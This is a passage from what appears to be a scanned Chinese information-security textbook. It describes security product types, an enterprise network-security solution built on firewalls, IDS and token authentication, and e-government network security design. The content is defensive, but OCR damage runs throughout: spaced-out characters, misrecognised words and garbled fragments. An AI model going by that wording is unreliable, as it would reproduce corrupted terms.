的 功能 和 更 好 的 服务 ,可 作为 所 有 应 用 的 计算 基础 结构 的 核心 部 件 。 

6. 用 户 认证 产品 

由 于 IC 卡 技术 的 日 益 成 熟 和 完善 ,IC 卡 被 更 为 广泛 地 用 于 用 户 认证 产品 中 ,用 来 存储 
用 户 的 个 人 私 钥 , 并 与 其 他 技术 (如 动态 口令 ) 相 结合 ,对 用 户 身份 进行 有 效 的 识别 。 同 时 ， 
还 可 将 IC 卡 上 的 个 人 私 钥 与 数字 签名 技术 相 结合 ,实现 数字 签名 机 制 。 随 着 模式 识别 技术 
的 发 展 ,诸如 指纹 视网膜、 脸 部 特征 等 高 级 的 身份 识别 技术 也 会 投入 应 用 ,并 与 数字 签名 等 
现 有 技术 结合 ,使 得 对 于 用 户 身份 的 认证 和 识别 功能 更 趋 完 善 。 

7. 安全 管理 中 心 

由 于 网 上 的 安全 产品 较 多 , 且 分 布 在 不 同 的 位 置 , 这 就 需要 建立 一 套 集中 管理 的 机 制 和 
设备 , 即 安全 管理 中 心 。 它 用 来 给 各 网 络 安全 设备 分 发 密 钥 ,监控 网 络 安全 设备 的 运行 状 
态 , 负 责 收 集 网 络 安全 设备 的 审计 信息 等 。 

8. 入 侵 检 测 系统 (IDS) 

入 侵 检 测 系统 作为 传统 保护 机 制 (比如 访问 控制 .身份 识别 等 ) 的 有 效 补充 ,形成 了 信息 
系统 中 不 可 或 缺 的 反馈 链 。 

9. 安全 数据 库 

由 于 大 量 的 信息 存储 在 计算 机 数据 库 内 ,有 些 信息 是 有 价值 的 ,也 是 敏感 的 ,需要 保护 ， 
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安全 数据 库 可 以 确保 数据 库 的 完整 性 、 可 靠 性 .有效 性 ,机 密 性 、 可 审计 性 及 存 取 控 制 与 用 户 
身份 识别 等 。 

10. 安全 操作 系统 

安全 操作 系统 给 系统 中 的 关键 服务 器 提供 安全 运行 平台 ,构成 安全 WWW 服务 、 安 全 
FTP 服务 、 安 全 SMTP 服务 等 ,并 作为 各 类 网 络 安全 产品 的 坚实 基础 ,确保 这 些 安全 产品 的 
自身 安全 。 

在 上 述 所 有 主要 的 发 展 方向 和 产品 种 类 中 ,都 包含 了 密码 技术 的 应 用 ,并 且 是 非常 基础 
性 的 应 用 。 很 多 的 安全 功能 和 机 制 的 实现 都 建立 在 密码 技术 的 基础 之 上 ,甚至 可 以 说 没有 
密码 技术 就 没有 安全 可 言 。 

但 是 ,人 们 也 应 该 看 到 密码 技术 与 通信 技术 .计算 机 技术 以 及 芯片 技术 的 融合 正 日 益 紧 
密 , 其 产品 的 分 界线 越 来 越 模糊 ,彼此 也 越 来 越 不 能 分 割 。 在 一 个 计算 机 系统 中 ,很 难 简单 
地 划分 某 个 设备 是 密码 设备 , 某 个 设备 是 通信 设备 。 而 这 种 融合 的 最 终 目 的 还 是 在 于 为 用 
户 提 供 高 可 信任 的 、 安 全 的 计算 机 和 网 络 信 息 系 统 。 

网 络 安全 问题 的 解决 是 一 个 综合 性 问题 ,涉及 诸多 因素 ,包括 技术 、 产 品 和 管理 等 。 国 
际 上 已 有 众多 的 网 络 安全 解决 方案 和 产品 ,但 由 于 出 口 政策 和 自主 性 等 问题 ,目前 还 不 能 直 
接 用 于 解决 我 国 自 己 的 网 络 安全 问题 ,因此 我 国 的 网 络 安全 问题 只 能 借鉴 这 些 先进 技术 和 
产品 自行 解决 。 幸 运 的 是 ,目前 国内 已 有 一 些 网 络 安全 问题 解决 方案 和 产品 。 不 过 ,这 些 解 
决 方案 和 产品 与 国外 同类 产品 相 比 尚 有 一 定 的 差距 。 


13.4 某 大 型 企业 网 络 安全 解决 方案 实例 


安全 解决 方案 的 目标 是 在 不 影响 企业 局 域 网 当前 业务 的 前 提 下 ,实现 对 其 局 域 网 全 面 
的 安全 管理 。 将 安全 策略 ,硬件 及 软件 等 方法 结合 起 来 ,构成 一 个 统一 的 防御 系统 ,可 有 效 
阻止 非法 用 户 进入 网 络 ,减少 网 络 的 安全 风险 。 创 建 一 种 安全 方案 意味 着 设计 一 种 如 何 处 
理 计 算 机 安全 问题 的 计划 ,也 就 是 尽力 在 黑客 征服 系统 以 前 保护 系统 。 通 常 , 设 计 一 套 安 全 
方案 涉及 以 下 步骤 。 

(1) 网 络 安全 需求 分 析 。 确 切 了 解 网 络 信息 系统 需要 解决 哪些 安全 问题 是 建立 合理 安 
全 需求 的 基础 。 

(2) 确立 合理 的 安全 策略 。 

(3) 制订 可 行 的 技术 方案 ,包括 工程 实施 方案 (产品 的 选 购 与 订 制 ) 、 制 定 管理 办 法 等 。 


13.4.1 网 络 安全 需求 分 析 


网 络 安全 总 体 需 求 是 建立 在 对 网 络 安全 层次 分 析 基 础 上 确定 的 。 依 据 网 络 安全 分 层 理 
论 ,根据 ISO 七 层 网 络 协议 ,在 不 同 层 次 上 ,相应 的 安全 需求 和 安全 目标 的 实现 手段 各 不 相 
同 ,主要 是 针对 在 不 同 层次 上 安全 技术 实现 而 定 。X X X 责 任 有 限 公司 的 当前 网 络 状况 如 
图 13-1 所 示 。 

对 于 以 TCP / IP AEN X XX 责任 有 限 公 司 网 络 来 说 ,安全 层次 是 与 TCP/IP 网 络 层 
次 相对 应 的 ,针对 X XX 责任 有 限 公司 网 络 的 实际 情况 .可 将 安全 需求 层次 归纳 为 网 络 层 和 
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网 管 计算 机 
图 13-1 XXX 责任 有 限 公司 的 网 络 状况 


应 用 层 安 全 两 个 技术 层次 ,具体 描述 如 下 。 

1. 网 络 层 需求 分 析 

网 络 层 安 全 需求 是 保护 网 络 不 受 攻击 ,确保 网 络 服 务 的 可 用 性 。 

首先 ,作为 X XX 责任 有 限 公司 网 络 同 Internet 互联 的 边界 安全 应 作为 网 络 层 的 主要 
安全 需求 。 

(1) 需要 保证 Xx X X REA RAR RN Internet 安全 互联 ,能 够 实现 网 络 的 安全 
隔离 。 

(2) 必要 的 信息 交互 的 可 信任 性 。 

G) 要 保证 X X X 责 任 有 限 公 司 网 络 不 能 够 被 Internet 访问 。 

(4) 同时 x X x 责任 有 限 公 司 网 络 公共 资源 能 够 对 开放 用 户 提供 安全 访问 能 力 。 

(5) 能 够 防范 来 自 Internet 的 威胁 ,包括 利用 HTTP 应 用 ,通过 Java Applet、ActiveX 
以 及 Java Script 形式 ; 利用 FTP 应 用 ,通过 文件 传输 形式 ; 利用 SMTP 应 用 ,通过 对 邮件 
分 析 及 利用 附件 所 造成 的 信息 汇 露 和 有 害 信 息 对 于 X X X 责 任 有 限 公司 网 络 的 侵害 。 

(6) 对 网 络 安全 事件 的 审计 。 

(7) 对 于 网 络 安全 状态 的 量化 评估 。 

(8) 对 网 络 安全 状态 的 实时 监控 。 

(9) 防范 来 自 Internet 的 网 络 人 侵 和 攻击 行为 的 发 生 ,并 能 够 做 到 : 对 网 络 入 侵 和 攻击 
的 实时 鉴别 ; 对 网 络 人 侵 和 攻击 的 预警 ; 对 网 络 人 侵 和 攻击 的 阻 断 与 记录 。 

其 次 ,对 于 XX X 责 任 有 限 公司 网 络 内 部 同样 存在 网 络 层 的 安全 需求 ,包括 X X X 责 任 
有 限 公司 网 络 与 下 级 分 支 机 构 网 络 之 间 建 立 连接 控制 手段 、 对 集团 网 络 提供 高 于 网 络 边界 
更 高 的 安全 保护 。 
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2. 应 用 层 需求 分 析 

建设 X XX 责任 有 限 公 司 网 络 的 目的 是 实现 信息 共享 ,资源 共享 。 因 此 ,必须 解决 X X 
责任 有 限 公司 网 络 在 应 用 层 的 安全 。 应 用 层 安全 主要 与 企业 的 管理 机 制 和 业务 系统 的 应 
用 模式 相关 。 管 理 机 制 决定 了 应 用 模式 ,应 用 模式 决定 了 安全 需求 。 因 此 ,在 这 里 主要 针对 
各 局 域 网 内 的 应 用 的 安全 进行 讨论 ,并 就 建设 全 网 范围 内 的 应 用 系统 提出 一 些 建 议 。 

应 用 层 的 安全 需求 是 针对 用 户 和 网 络 应 用 资源 的 ,主要 包括 以 下 几 个 方面 。 

(1) 合法 用 户 可 以 以 指定 的 方式 访问 指定 的 信息 。 

(2) 合法 用 户 不 能 以 任何 方式 访问 不 允许 其 访问 的 信息 。 

(3) 非法 用 户 不 能 访问 任何 信息 。 

(4) 用 户 对 任何 信息 的 访问 都 有 记录 。 

要 解决 的 安全 问题 主要 包括 以 下 几 个 方面 。 

(1) 非法 用 户 利用 应 用 系统 的 后 门 或 漏洞 ,强行 进入 系统 。 

(2) 用 户 身份 假冒 。 非 法 用 户 利用 合法 用 户 的 用 户 名 ,破译 用 户 密码 ,然后 假冒 合法 用 
户 身份 ,访问 系统 资源 。 

G) 非 授权 访问 。 非 法 用 户 或 者 合法 用 户 访问 在 其 权限 之 外 的 系统 资源 。 

(4) 数据 窃取 。 攻 击 者 利用 网 络 窃听 工具 窃取 经 由 网 络 传输 的 数据 包 。 

(5) 数据 算 改 。 攻 击 者 算 改 网 络 上 传输 的 数据 包 。 

(6) 数据 重 放 攻击 。 攻 击 者 抓获 网 络 上 传输 的 数据 包 , 青 发 送 到 目的 地 。 

(7) 抵赖 。 信 息 发 送 方 或 接收 方 抵赖 曾经 发 送 过 或 接收 到 了 信息 。 

一 般 来 说 ,各 应 用 系统 ,如 Notes, SUB FE. Web Server 自身 也 都 有 一 些 安全 机 制 ,传统 
的 应 用 系统 安全 性 也 主要 依靠 系统 自身 的 安全 机 制 来 保证 。 其 主要 优点 是 与 系统 结合 紧 
密 , 但 也 存在 以 下 很 明显 的 缺点 。 

(1) 开发 量 大 。 据 统计 ,传统 的 应 用 系统 开发 中 ,安全 体系 的 设计 和 开发 约 占 开发 量 的 
1/3。 当 应 用 系统 需要 在 广域网 运行 时 , 随 着 安全 需求 的 增加 ,其 开发 量 占 的 比重 会 更 大 。 

(2) 安全 强度 参差 不 齐 。 有 些 应 用 系统 的 安全 机 制 很 弱 , 如 数据 库 系 统 , 只 提供 根据 用 
户 名 /口令 的 认证 ,而 且 用 户 名 /口令 是 在 网 络 上 明文 传输 的 ,很 容易 被 窃听 到 。 有 些 应 用 系 
统 有 很 强 的 安全 机 制 , 如 Notes, 但 由 于 设计 、 开 发 人 员 对 其 安全 体系 的 理解 程度 以 及 投入 
的 工作 量 , 也 可 能 使 不 同 的 应 用 系统 的 安全 强度 会 相差 甚 远 。 

(3) 安全 没有 保障 。 目 前 很 多 应 用 系统 设计 、 开 发 人 员 的 第 一 概念 是 系统 能 够 运行 ,而 
不 是 系统 能 够 安全 运行 ,因此 在 系统 设计 、 开 发 时 对 安全 考虑 很 少 ,其 至 为 了 简单 或 赶 进 度 
而 有 意 削 弱 安 全 机 制 。 

(4) 维护 复杂 。 每 个 应 用 系统 的 安全 机 制 各 不 相同 ,导致 很 多 重复 性 工作 (如 建立 用 户 
账号 等 ); 系统 管理 员 必 须 熟悉 每 个 应 用 系统 独特 的 安全 机 制 , 工 作 量 成 倍增 加 。 

(5) 用 户 使 用 不 方便 。 用 户 使 用 不 同 的 应 用 系统 时 ,都 必须 做 相应 的 身份 认证 , 且 有 些 
系统 需要 在 访问 不 同 资源 时 分 别 做 授权 (如 IIS Web Server 是 在 用 户 访问 不 同 的 页 面 时 输 
入 不 同 的 口令 ,口令 正确 才 人 允许 访 问 ) 。 当 用 户 需 要 访问 多 个 应 用 系统 时 ,会 有 很 多 用 户 名 、 
口令 需要 记忆 ,有 可 能 就 取 几 个 相同 的 简单 口令 ,从 而 降低 了 系统 的 安全 性 。 

综 上 所 述 ,建议 在 建设 X XX 责任 有 限 公司 网 络 应 用 系统 时 ,采用 具有 以 下 功能 的 商品 
化 的 应 用 层 安 全 产品 作为 安全 应 用 平台 。 
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(1) 安全 应 用 平台 必须 能 够 为 各 种 应 用 系统 提供 统一 的 人 口 控制 ,而 且 只 有 通过 了 安 
全 应 用 平台 的 身份 认证 和 访问 授权 以 后 , 才 可 能 访问 某 个 具体 的 应 用 系统 。 

(2) 安全 应 用 平台 自身 的 安全 机 制 必须 是 系统 的 、 健 壮 的 ,以 免 因 为 各 种 应 用 系统 安全 
机 制 参差 不 齐 而 导致 系统 不 安全 的 现象 出 现 。 

(3) 安全 应 用 平台 必须 可 以 无 缝 集成 第 三 方 应 用 系统 ,如 Notes, ği E, Web Server 
等 的 安全 机 制 。 

(4) 安全 应 用 平台 可 以 集中 对 各 种 第 三 方 应 用 系统 进行 安全 管理 ,包括 用 户 注册 、 用 户 
身份 认证 ,资源 目录 管理 ,访问 授权 以 及 审计 记录 ,以 减少 重复 劳动 ,减轻 系统 管理 人 员 的 工 
作 负 担 。 

(5) 安全 应 用 平台 具有 可 伸缩 性 ,并 且 安全 可 靠 。 


13.4.2 安全 管理 策略 

如 前 所 述 ,能 否 制定 一 个 统一 的 安全 策略 ,在 全 网 范围 内 实现 统一 的 安全 管理 ,对 于 
xX XX 责任 有 限 公司 网 络 来 说 就 至 关 重 要 了 。 

安全 管理 主要 包括 以 下 3 个 方面 。 

1. 内 部 安全 管理 

主要 是 建立 内 部 安全 管理 制度 ,如 机 房管 理 制度 、 设 备 管 理 制度 、 安 全 系统 管理 制度 、 病 
毒 防范 制度 .操作 安全 管理 制度 .安全 事件 应 急 制度 等 ,并 采取 切实 有 效 的 措施 保证 制度 的 
执行 。 内 部 安全 管理 主要 采取 行政 手段 和 技术 手段 相 结合 的 方法 。 

2. 网 络 安全 管理 

在 网 络 层 设置 路 由 器 、 防 火 墙 .安全 检测 系统 后 ,必须 保证 路 由 器 和 防火 墙 的 ACL 设 
置 正确 ,其 配置 不 允许 被 随便 修改 。 网 络 层 的 安全 管理 可 以 通过 网 管 , 防 火 墙 \ 安 全 检测 等 
一 些 网 络 层 的 管理 工具 来 实现 。 

3. 应 用 安全 管理 

应 用 系统 的 安全 管理 是 一 件 很 复杂 的 事情 。 由 于 各 个 应 用 系统 的 安全 机 制 不 一 样 , 因 
此 需要 通过 建立 统一 的 应 用 安全 平台 来 管理 ,包括 建立 统一 的 用 户 库 、 统 一 维护 资源 目录 、 
统一 授权 等 。 


13.4.3 安全 解决 方案 分 析 


1. 网 络 配置 结构 图 

根据 安全 需求 , x x X 责 任 有 限 公 司 的 网 络 总 体 结构 如 图 13-2 所 示 。 

2. 公司 总 部 安全 配置 

(1) 在 总 部 网 关 位 置 配置 CheckPoint Firewall-1 防火 墙 , 划 分 多 安全 区 域 ,将 内 网 ,对 
外 发 布 的 Web Server 和 电子 商务 网 站 放置 在 不 同 的 网 络 安全 区 域 。 

(2) 在 服务 器 区 前 放置 CheckPoint Firewall-1 防火 墙 模块 ,其 他 区 域 对 服务 器 区 的 访 
问 必须 经 过 防火 墙 模块 的 检查 。 

(3) 在 中 心 交换 机 上 配置 基于 网 络 的 IDS 系统 ,监控 整个 网 络 内 的 网 络 流量 。 
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网 管 计算 机 
图 13-2 X XX 责任 有 限 公 司 的 网 络 总 体 结构 示意 图 


(A) 在 服务 器 区 内 的 重要 服务 器 ,如 Sybase 数据 库 服务 器 等 ,安装 基于 主机 的 入侵 检 
测 系统 ,对 所 有 的 数据 库 服务 器 的 访问 进行 监控 ,并 对 数据 库 服 务 器 的 操作 进行 记录 和 
审计 。 

(5) 将 电子 商务 网 站 和 进行 公司 普通 Web 发 布 服务 器 进行 独立 配置 ,对 电子 商务 网 站 
的 访问 将 需要 身份 认证 和 加 密 传 输 , 保 证 电子 商务 的 安全 性 。 

(6) Æ DMZ 区 的 电子 商务 网 站 配置 基于 主机 的 入 侵 检测 系统 ,防止 来 自 Internet 对 
HTTP 服务 的 攻击 行为 。 

(7) 在 公司 总 部 安装 SPA 统一 认证 服务 器 ,对 所 有 需要 的 认证 进行 统一 管理 ,并 根据 
客户 的 安全 级 别 设置 所 需要 的 认证 方式 (如 静态 口令 动态 口令 ,数字 证 书 等 )。 

3. 产品 配置 说 明 


(1) CheckPoint Firewall-1/VPN-1 配置 五 块 网 卡 , 安 装 于 网 络 的 出 口 网 关 位 置 ,物理 
连接 方式 如 图 13-2 所 示 ,分 别 连 接 外 网 路 由 器 .内 网 中 心 交 换 机 、DMZ 区 交换 机 、 服 务 器 网 
段 交 换 机 和 拨号 路 由 器 。 

(2) 配置 CheckPoint Firewall-1 防火 墙 网 络 安全 访问 策略 如 下 。 

O 把 Web 服务 器 、 防 病毒 服务 器 .FTP 服务 器 、Mail 服务 器 以 及 DNS 服务 器 允许 进 
行 维护 主机 IP 地 址 ,所 有 Internet 访问 用 户 分 别 定义 为 网 络 安全 对 象 。 

© 定义 SAP AAA 服务 器 对 象 ,指定 用 户 认 证 方式 为 AAA 服务 器 的 Radius 方式 。 

© 定义 防止 IP 地 址 欺骗 的 规则 ,凡是 源 地 址 为 DMZ 区 域 和 内 网 区 域 的 数据 包 都 不 允 
许 通 过 防火 墙 进入 。 

D 定义 安全 策略 ,允许 外 部 连接 可 以 到 达 DMZ 指定 服务 器 的 服务 端口 。 


364 信息 安全 与 技术 


O 定义 安全 策略 ,对 从 内 部 网 络 通过 防火 墙 向 外 发 送 的 数据 包 进 行 网 络 地 址 转换 , 完 
全 对 外 隔离 内 部 网 络 。 

© 定义 安全 规则 ,允许 指定 的 应 用 数据 包 通 过 防火 墙 。 

© 定义 安全 规则 ,强制 执行 对 URL 的 过 滤 。 

@ 定义 安全 规则 ,强制 对 HTTP 应 用 的 Java Applet、ActiveX 以 及 Java Scripts 进行 
内 容 安 全 检测 。 

O 定义 安全 规则 ,强制 对 FTP 应 用 的 数据 传输 进行 内 容 安全 检测 。 

@ 定义 安全 规则 ,强制 对 SMTP 应 用 的 附件 进行 内 容 安全 检测 。 

D 定义 安全 规则 , 设 定 对 流量 和 带宽 控制 的 规则 ,保证 对 专 有 服务 和 专 有 人 员 的 流量 

D 定义 安全 规则 ,其 他 的 任何 包 都 不 允许 通过 防火 墙 。 

(3) 在 军事 化 区 安装 Secure World 的 AAA 认证 服务 器 ,并 导入 全 部 令 牌 设备 。 

(4) 将 终端 认证 的 硬件 令 牌 分 发 给 允许 使 用 VPN 、 远 程 拨号 访问 的 各 地 分 支 机 构 和 远 
程 拨号 用 户 。 

(5) 在 VPN 设备 及 拨号 访问 接 人 路 由 器 中 开启 AAA 认证 ,并 将 认证 服务 器 指向 到 
SPA 内 置 的 Radius 服务 器 。 

(6) 在 服务 器 端 配 置 相关 的 用 户 自 注册 组 ,允许 相关 用 户 自行 进行 身份 注册 。 

(7) 为 本 地 核心 网 络 设备 配置 使 用 SPA 进行 身份 认证 。 

(8) 为 系统 管理 员 分 配 硬 件 令 牌 并 用 其 访问 网 络 设备 。 

(9) 逐步 实施 主机 系统 和 基于 Windows 2003 域 的 令 牌 身份 认证 。 

(10) 逐步 实施 Web 业务 应 用 系统 及 办 公 自 动 化 系统 的 身份 认证 。 

4. 内 部 网 络 安全 管理 制度 制定 

面 对 网 络 安全 的 脆弱 性 , 除 在 网 络 设 计 上 增加 安全 服务 功能 ,完善 系统 的 安全 保密 措施 
外 ,还 必须 花 大 力气 加 强 网 络 的 安全 管理 。 因 为 诸多 不 安全 因素 恰恰 反映 在 组 织 管理 和 人 
员 录 用 等 方面 ,而 这 又 是 计算 机 网 络 安全 所 必须 考虑 的 基本 问题 ,所 以 应 引起 各 级 部 门 领 导 
的 重视 。 下 面 提出 有 关 信 息 系统 安全 管理 的 若干 原则 和 实施 措施 以 供 参 考 。 

1) 安全 管理 原则 

计算 机 信息 系统 的 安全 管理 主要 基于 以 下 3 个 原则 。 

(1) 多 人 负责 原则 。 每 项 与 安全 有 关 的 活动 都 必须 有 两 人 或 多 人 在 场 。 这 些 人 应 是 系 
统 主管 领导 指派 的 ,应 忠诚 可 靠 , 能 胜任 此 项 工作 。 

(2) 任期 有 限 原则 。 一 般 地 讲 , 任 何人 最 好 不 要 长 期 担任 与 安全 有 关 的 职务 ,以 免 误 认 
为 这 个 职务 是 专 有 的 或 永久 性 的 。 

G) 职责 分 离 原 则 。 除 非 系统 主管 领导 批准 .在 信息 处 理 系 统 工作 的 人 员 不 要 打听 、 了 
解 或 参与 职责 以 外 ,与 安全 有 关 的 任何 事情 。 

2) 安全 管理 的 实现 

信息 系统 的 安全 管理 部 门 应 根据 管理 原则 和 该 系统 处 理 数 据 的 保密 性 ,制定 相应 的 管 
理 制度 或 采用 相应 规范 ,其 具体 工作 如 下 。 

(1) 确定 该 系统 的 安全 等 级 。 根 据 确定 的 安全 等 级 ,确定 安全 管理 的 范围 。 制 定 相 应 
的 机 房 出 入 管理 制度 。 对 安全 等 级 要 求 较 高 的 系统 ,要 实行 分 区 控制 ,限制 工作 人 员 出 入 与 
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己 无 关 的 区 域 。 制 定 严格 的 操作 规程 。 操 作 规程 要 根据 职责 分 离 和 多 人 负责 的 原则 ,各 负 
其 责 , 不 能 超越 自己 的 管辖 范围 。 制 定 完备 的 系统 维护 制度 。 维 护 时 ,要 首先 经 主管 部 门 批 
准 , 并 有 安全 管理 人 员 在 场 ,故障 原因 、 维 护 内 容 和 维护 前 后 的 情况 要 详细 记录 。 制 订 应 急 
措施 。 要 制订 在 紧急 情况 下 系统 如 何 尽 快 恢复 的 应 急 措施 ,使 损失 减 至 最 小 。 建 立 人 员 雇 
用 和 解聘 制度 ,对 工作 调动 和 离职 人 员 要 及 时 调整 相应 的 授权 。 

(2) 网 络 安全 管理 制度 。 网 络 安全 管理 的 基本 原则 如 下 。 

O 分 离 与 制约 原则 ,如 内 部 人 员 与 外 部 人 员 分 离 .用户 与 开发 人 员 分 离 、 用 户 机 与 开发 
机 分 离 .权限 分 级 管理 。 

© 有 限 授权 原则 。 

© 预防 为 主 原则 。 

中 可 和 审计 原则 。 

安全 管理 制度 的 主要 内 容 包 括 机 构 与 人 员 安 全 管理 、 系 统 运行 环境 安全 管理 、 硬 设施 
安全 管理 , 软 设施 安全 管理 ,网 络 安 全 管理 .数据 安全 管理 ,技术 文档 安全 管理 ,应 用 系统 运 
营 安 全 管理 ,操作 安全 管理 ,应 用 系统 开发 安全 管理 。 


13.5 电子 政务 安全 平台 实施 方案 


13.5.1 电子 政务 平台 


电子 政务 是 经 济 与 社会 信息 化 的 先决 条 件 。 一 个 国家 的 信息 化 需要 来 自 多 方面 力量 的 
推进 ,其 中 ,政府 作为 国家 组 成 及 信息 流 的 * 中 心 节点 ”, 在 社会 信息 化 的 进程 中 起 着 责 无 旁 
贷 而 又 无 可 替代 的 作用 。 

电子 政务 的 建设 内 容 表现 为 以 政务 信息 资源 的 开发 和 管理 为 切入 点 ,通过 集成 和 应 用 
现代 信息 技术 ,以 增强 政府 的 调控 能 力 、 改 进 决 策 质量 、 降 低 行政 成 本 、 改 善 工 作 效率 和 提高 
廉洁 程度 为 重点 ,优化 政府 的 组 织 结构 、 业 务 流程 和 工作 方式 ,以 直接 、 非 接触 和 虚拟 的 方 
式 , 向 社会 提供 全 方位 与 跨 部 门 .超越 时 间 与 空间 ,行为 规范 与 透明 、 符 合法 律 与 国际 惯例 要 
求 的 管理 和 服务 。 

电子 政务 平台 是 一 个 高 质量 ,高 效率 、 智 能 化 的 办 公 系 统 ,该 平台 以 数据 库 为 基础 ,利用 
了 文件 传输 ,电子 邮件 、 短 消息 等 现代 数字 通信 与 Internet 技术 。 随 着 网 络 的 发 展 与 普及 ， 
政府 部 门 也 由 局 域 网 扩充 到 广域网 。 互 联网 的 开放 性 会 使 政府 网 络 受到 来 自 外 部 互联 网 的 
安全 威胁 .内 部 网 络 与 外 部 网 络 互联 的 安全 威胁 和 内 部 网 络 的 安全 威胁 。 

2002 年 7 月 ,国家 信息 化 领导 小 组 颁布 的 (国家 信息 化 领导 小 组 关于 我 国电 子 政务 建 
设 指导 意见 》 中 规定 : 电子 政务 网 络 由 政务 内 网 和 政务 外 网 构成 ,两 网 之 间 物 理 隔 离 ,政务 
外 网 与 互联 网 之 间 逻 辑 隔 离 。 原 则 要 求 : 统一 标准 ,保障 安全 。 正 确 处 理 安全 与 发 展 的 关 
系 , 综 合 平衡 成 本 和 效益 ,一 手 抓 电子 政务 ,一 手 抓 网 络 与 信息 安全 ,制定 并 完善 电子 政务 信 
息 安 全 保障 体系 。 主 要 任务 : 基本 建立 电子 政务 网 络 与 信息 安全 保障 体系 。 要 组 织 建 立 我 
国电 子 政务 网 络 与 信息 安全 保障 体系 框架 ,逐步 完善 安全 管理 制度 ,建立 电子 政务 信任 体 
系 , 加 强 关 键 性 安全 技术 产品 的 研究 和 开发 ,建立 应 急 支援 中 心 和 数据 灾难 备份 基础 设施 。 
中 共 中 央 办 公 厅 、 国 务 院 办 公 厅 关 于 转发 (国家 信息 化 领导 小 组 关于 加 强 信息 安全 保障 工作 
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的 意见 ) 的 通知 (中 办 发 C2003]27 号 ) 提 出 了 积极 防御 、 综 合 防范 的 战略 方针 ,提出 了 实行 信 
息 安 全 等 级 保护 的 重要 思想 ,指出 : 信息 化 发 展 的 不 同 阶段 和 不 同 的 信息 系统 有 着 不 同 的 
安全 需求 ,必须 从 实际 出 发 ,综合 平衡 安全 成 本 和 风险 ,优化 信息 安全 资源 的 配置 ,确保 重 
点 。 要 抓紧 建立 信息 安全 等 级 保护 制度 ,制定 信息 安全 等 级 保护 的 管理 办 法 和 技术 指南 。 
要 重视 信息 安全 风险 评估 工作 。 公 安 部 .国家 保密 局 、 国 家 密码 管理 委员 会 办 公 室 、 国 务 院 
信息 化 工作 办 公 室 文件 : 关于 印发 4 关于 信息 安全 等 级 保护 工作 的 实施 意见 》 的 通知 ( 公 通 
字 C2004]66 号 ) 对 开展 等 级 保护 工作 的 意义 、 信 息 安全 等 级 保护 制度 的 原则 信息 安全 等 级 
保护 工作 的 基本 内 容 、 信 息 安 全 等 级 保护 工作 要 求 阐述 ,是 目前 等 级 保护 工作 最 具体 的 指导 
和 要 求 。 


13.5.2 电子 政务 安全 平台 解决 方案 


按照 (国家 电子 政务 标准 化 指南 》 相 关 要 求 , 三 级 以 上 网 络 属于 涉 密 网 络 ,网 络 需要 分 为 
政务 涉 密 网 .政务 内 网 ,政务 外 网 ,各 网 络 之 间 通 过 安全 设备 进行 隔离 。 本 书 仅 对 政务 内 网 
和 政务 外 网 的 规划 与 设计 方案 进行 阐述 。 

1. 电子 政务 网 络 结构 

政务 内 网 主要 面向 政府 部 门 实现 政府 部 门 内 部 的 业务 处 理 , 如 政府 部 门 间 的 公文 流转 、 
公文 交换 .公文 处 理 , 办 公 管 理 、 项 目 管理 项 目 审批 群众 来 信 的 处 理 与 回复 等 。 这 类 应 用 
处 理 的 信息 大 部 分 不 宜 对 外 公开 ,属于 敏感 信息 ,安全 的 重点 主要 包括 对 政务 人 员 的 身份 认 
证 ,政务 资源 的 授权 访问 和 信息 安全 传输 等 方面 。 

政务 外 网 主要 面向 社会 向 公众 提供 政策 咨询 ,信息 查询 、 政 务 数据 上 报 等 公众 服务 。 公 
众 服务 的 对 象 比较 广泛 ,可 以 是 企业 管理 人 员 ,普通 群众 。 这 类 应 用 处 理 的 前 台 信 息 一 般 不 
涉及 工作 秘密 ,可 以 对 外 开放 ,但 它 涉及 政府 在 公众 的 服务 形象 ,要 保证 该 类 应 用 的 可 靠 性 、 
可 用 性 ,同时 ,应 保证 应 用 中 发 布 信息 的 真实 与 可 信 , 安 全 防护 的 重点 应 放 在 系统 的 可 靠 性 、 
信息 的 可 信 性 等 方面 。 电 子 政务 网 络 结构 示意 图 如 图 13-3 所 示 。 

2. 设计 原则 

D 综合 防范 ,适度 安全 

在 三 级 信息 系统 网 络 建设 时 ,必须 充分 考虑 来 自 网 络 的 各 种 威胁 ,采取 适当 的 安全 措 
施 , 进 行 综合 防范 。 同 时 ,以 应 用 为 主导 ,充分 分 析 应 用 系统 的 功能 ,在 有 效 保证 应 用 的 前 提 
下 ,安全 保密 建设 经 济 适用 、 适 度 安 全 、 易 于 使 用 、 易 于 实施 。 

2) 分 域 防 控 、 分 类 防护 

贯彻 等 级 保护 思想 ,针对 不 同 的 安全 域 采 用 不 同 的 安全 防护 策略 ,通过 制定 安全 策略 ， 
实施 分 区 边界 防护 和 区 间 访 问 控制 ,保证 信息 的 安全 隔离 和 安全 交换 。 

3) 谁 主管 谁 负责 

基于 等 级 保护 的 电子 政务 网 络 的 建设 过 程 中 ,部 门 网 络 的 内 部 安全 问题 应 根据 本 单位 
的 安全 需求 和 实际 情况 ,依据 国家 相关 政策 自行 开展 信息 安全 建设 。 

4) 安全 保密 一 体 化 

在 电子 政务 安全 保密 建设 中 ,无 论 是 技术 的 采用 还 是 设备 的 选 配 ,必须 坚持 安全 保密 一 
体 化 的 原则 ,这 样 建设 的 系统 才 最 为 有 效 、 最 为 经 济 。 
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图 13-3 电子 政务 网 络 结构 示意 图 


3. 电子 政务 内 网 建设 方案 

1) 政务 内 网 系统 构成 

对 于 电子 政务 内 网 ,政务 专 网 .专线 `.VPN 是 构建 电子 政务 网 络 的 基础 设施 。 安 全 政务 
网 络 平台 是 依托 政务 专 网 ,专线 `VPN 设备 将 各 接 入 单位 安全 互联 起 来 的 电子 政务 内 网 ; 
安全 支撑 平台 为 电子 政务 内 网 信息 系统 提供 安全 互联 、 接 入 控制 ,统一 身份 认证 ,授权 管理 、 
恶意 代码 防范 、 入 侵 检 测 ,安全 审计 、 桌 面 安全 防护 等 安全 支撑 ; 电子 政务 内 网 应 用 既是 安 
全 保障 平台 的 保护 对 象 ,又 是 电子 政务 内 网 实施 电子 政务 的 主体 , 它 主要 包括 内 部 共享 信 
息 、 内 部 受 控 信息 等 ,这 两 类 信息 运行 于 电子 政务 办 公平 台 和 电子 政务 信息 共享 平台 之 上 ; 
管理 制度 体系 是 电子 政务 长 期 有 效 运行 的 保证 。 电 子 政务 内 网 系统 构成 如 图 13-4 所 示 。 


电子 政务 内 网 应 用 


安全 | ”内 部 共享 信息 、 内 部 受 控 信息 。 | 管理 

a 

平台 | ”电子 政务 电子 政务 |A 
信息 共享 平 


办 公平 台 台 


台 
政务 内 网 网 络 平台 


